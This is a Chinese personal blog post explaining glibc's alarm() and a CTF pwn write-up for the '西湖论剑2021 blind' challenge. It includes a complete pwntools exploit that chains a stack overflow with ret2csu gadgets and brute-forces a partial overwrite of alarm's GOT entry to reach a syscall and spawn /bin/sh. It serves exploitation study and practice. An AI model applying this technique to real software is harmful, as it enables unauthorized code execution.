抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

BlackBird的博客

这世界上所有的不利状况,都是当事者能力不足导致的

alarm函数

定义

# \glibc-2.23\posix\unistd.h
/* Schedule an alarm.  In SECONDS seconds, the process will get a SIGALRM.
   If SECONDS is zero, any currently scheduled alarm will be cancelled.
   The function returns the number of seconds remaining until the last
   alarm scheduled would have signaled, or zero if there wasn't one.
   There is no return value to indicate an error, but you can set `errno'
   to 0 and check its value after calling `alarm', and this might tell you.
   The signal may come late due to processor scheduling.  */
extern unsigned int alarm (unsigned int __seconds) __THROW;

image-20211122204131027

  • 设定倒计时,时长范围为unsigned int

    image-20211122204412690

  • 重复设置alarm时,后面设定的会覆盖前面的

  • 当已设定alarm时,若再设alarm倒计时为0,则取消设定的alarm,并将剩下的时间返回

应用

  • 微偏移量:

    • alarm函数存在微偏移的syscall函数,可以用来构造系统调用

    image-20211122204912608

    • 除了本题中的alarm函数存在syscall的微偏移,存在类似的利用方式的还有readwrite等(盲猜一波,接近系统调用的函数应该都可以这么利用)

    image-20211122205103304

    image-20211122205322199

    • 单字节溢出,实现微偏移跳转(``HGAME2021 week1`有一道题就是这么搞的)
  • 利用ROP等,调用alarm(0);达到取消定时的目的

  • 胡思乱想:通过微偏移量能执行syscall,这个时候还需要控制rax,除了比较常规的用read函数读入冗余字符来修改rax。还可以通过alarm函数修改rax:调用alarm,时间设定为一个合适时间,然后再执行alarm(0);便可以返回剩余时间,修改rax

西湖论剑2021-线上-blind

checksec一下,查看保护,只开了NX,应该是栈上的漏洞。程序很简单,看一下代码:

ssize_t __fastcall main(int a1, char **a2, char **a3)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(8u);
  sleep(3u);
  return read(0, buf, 0x500uLL);
}

因为存在很大空间的栈溢出,并且程序很简易,没有足够的gadgets,然后一开始想到的就是dl_runtime_resolve,于是比赛的时候我就自闭死了……调了很久很久,然后离比赛结束只有10mins的时候,我确信了思路错了……

只能赛后复盘了。

这里就是要用到上面说的微偏移量通过alarm函数,单字节爆破定位syscall,然后还有就是需要用通用gadgets

exp如下:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
bina = "./blind"
elf = ELF(bina)
pop_rdi = 0x4007c3
bss = 0x601088

def csu(rdi=0, rsi=0, rdx=0, r12=0, rbx=0, rbp=1):
	# 通用gadgets
    gadget_1 = 0x4007a0
    gadget_2 = 0x4007ba
    payload = p64(gadget_2)
    payload += (p64(rbx) + p64(rbp) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi))
    payload += p64(gadget_1)
    payload += b'b'*0x38
    return payload

def pwn(offset):
    p = process(bina)
    input()

    payload = b'a'*0x58
    payload += csu(rdi=0, rsi=elf.got['alarm'], rdx=1, r12=elf.got['read']) 
    # 通过通用gadgets调用read函数爆破微偏移量,获取syscall地址
    payload += csu(rdi=0, rsi=bss, rdx=59, r12=elf.got['read'])
    # 通过read函数向bss上写入/bin/sh;注意一点,这里我们通过read函数读入多余字符将rax改为59
    payload += csu(rdi=bss, r12=elf.got['alarm'])
    # getshell
    payload += b'\x00'*(0x500-len(payload))
    
    p.send(payload)

    sleep(0.1)
    p.send(chr(offset).encode())

    sleep(0.1)
    p.send(b'/bin/sh\x00'+b'a'*(59-8))

    p.interactive()
    p.close()


if __name__ == '__main__':
    for i in range(0xff):
        pwn(i)

反思

按道理来说,这个题很简单,微偏移量这个概念之前接触过,但做题的时候还是没有做出来。还是多思考,多做题,然后一些有意思的小技巧即使记录。最后借用一下eqqie的话提醒自己:

image-20211122213125007

评论